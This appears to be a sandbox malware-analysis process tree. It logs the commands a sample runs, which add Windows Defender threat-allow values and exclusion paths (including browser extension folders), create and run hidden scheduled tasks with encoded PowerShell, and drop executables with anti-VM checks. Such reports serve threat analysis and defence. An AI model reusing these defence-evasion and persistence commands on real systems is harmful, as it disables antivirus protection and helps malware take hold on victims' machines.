    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2204
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2556
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        5⤵
        
        PID:5828
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:5840
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5940
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:5376
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5600
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:5312
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5548
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:5468
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5212
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:4568
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:4720
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:3144
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:4724
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:1432
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5956
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:5304
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5988
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:2356
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5996
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:5968
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:1916
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:5640
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2992
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:5192
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2468
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:2708
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
      4⤵
      PID:2332
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:64;"
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1384
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5272
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:5900
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
        5⤵
        
        PID:4808
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2148
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1756
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1232
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:5008
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4240
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:5780
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:5512
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:5356
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2552
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:4072
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3012
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:5696
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3032
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2372
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:5080
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2476
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:6000
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:5392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gZfMqxiDf" /SC once /ST 06:53:03 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:5952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gZfMqxiDf"
    3⤵
    PID:3992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gZfMqxiDf"
    3⤵
    PID:5520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 11:51:22 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\XqlEgtp.exe\" 0c /RLQbdidMR 385118 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:5424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
    3⤵
    PID:4772
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4940 -s 876
    3⤵
    - Program crash
    PID:2780
- C:\Users\Admin\AppData\Local\Temp\b9695770f1\Dctooux.exe
  C:\Users\Admin\AppData\Local\Temp\b9695770f1\Dctooux.exe
  2⤵
  - Executes dropped EXE
  PID:5820
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 476
    3⤵
    - Program crash
    PID:2840
- C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
  C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:4632
- C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
  C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:5920
- C:\ProgramData\aipxlg\acmwid.exe
  C:\ProgramData\aipxlg\acmwid.exe start2
  2⤵
  - Executes dropped EXE
  PID:5260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4528
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:5540
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5376
- C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\XqlEgtp.exe
  C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\XqlEgtp.exe 0c /RLQbdidMR 385118 /S
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  PID:5108
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3484
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:4524
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:4240
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:5780
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:5512
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1888
